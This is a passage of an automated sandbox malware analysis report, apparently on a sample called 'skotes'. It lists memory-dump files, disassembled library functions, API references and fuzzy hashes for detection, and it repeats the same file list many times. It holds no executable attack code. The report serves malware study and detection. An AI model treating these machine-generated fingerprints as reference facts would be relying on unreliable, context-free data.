Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 22bf89fca4bc76f1bd98c4fd24d45f4c47b962e1e7a940048e3eef0930284d1c
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: B511E731500926BBCB51DE68E8A5AEB73A7EF02324B14819DFD168F202DB71D911CF90

Function 0060D029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 0060D0A5

Strings

SleepConditionVariableCS, xrefs: 0060D05D
WakeAllConditionVariable, xrefs: 0060D069
kernel32.dll, xrefs: 0060D04C
api-ms-win-core-synch-l1-2-0.dll, xrefs: 0060D03B

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: f4c5430e769305ea87d5e00318399ad5b48d79beaa4c1df9e34d7c81cd7a4ce6
Instruction ID: fd8ca8344f1ab04f5902d3e6cf5092fdaaf5c027f0d3ee26a4a3133dbf88a634
Opcode Fuzzy Hash: f4c5430e769305ea87d5e00318399ad5b48d79beaa4c1df9e34d7c81cd7a4ce6
Instruction Fuzzy Hash: 5601A261BC2B11AAD73D6FB55C1DE9B21DB8B46B80F062610AD46EB2C0DAA0D8414975

Function 0061E8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 0061E91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0061E926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0061E950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0061E959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0061E9DC

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: cbea55f447e934d198377b6dabd245eef2eb91c196a1097ff146c89082caab3c
Instruction ID: dea1f4283b0235d8f0a4dec21299467df809b9de681ae31c92e522a3ab72afd1
Opcode Fuzzy Hash: cbea55f447e934d198377b6dabd245eef2eb91c196a1097ff146c89082caab3c
Instruction Fuzzy Hash: F2414D75A00619EFDB49DF64C454AADBBB7FF88310F088159E906A7390CB75EE41CB81

Function 0060ECE6 Relevance: 7.6, APIs: 5, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0060ECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0060ED17

Part of subcall function 0060F3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0060F3FA

__alloca_probe_16.LIBCMT ref: 0060ED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 0060ED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0060EDC6

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16
String ID:
API String ID: 2568206803-0
Opcode ID: a032239b2656b97a8aa6625623da6579eec415afaa8db7865e4d1b5fcae8b19f
Instruction ID: 5162e61965c6ed3e0a22d3f39de79c6955606dca6da3be6b201d980540f65cb2
Opcode Fuzzy Hash: a032239b2656b97a8aa6625623da6579eec415afaa8db7865e4d1b5fcae8b19f
Instruction Fuzzy Hash: 0D317C71A402258BDB19DFA8C9415EEB7B6EF09310B24446EE845E73D1EB719E028BA4

Function 0061D2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 0061D344
ListArray.LIBCONCRT ref: 0061D367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0061D370
ListArray.LIBCONCRT ref: 0061D3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0061D3B3

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: b42c19d42ffda49f9a3c6a9e186d5c098e0228bcdeac9987b035fc3e370a684e
Instruction ID: c172846e7f7290e3b80bc52ef109548159be0c2dd9346d3413aef8c5c9683a32
Opcode Fuzzy Hash: b42c19d42ffda49f9a3c6a9e186d5c098e0228bcdeac9987b035fc3e370a684e
Instruction Fuzzy Hash: 1431B035700610AFDB05DF54C885BEEB7B7AF8A310F184199E9069B392DB74ED81CB92

Function 006186C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 006186EE

Part of subcall function 0060EAD0: _SpinWait.LIBCONCRT ref: 0060EAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00618702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00618734
List.LIBCMT ref: 006187B7
List.LIBCMT ref: 006187C6

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
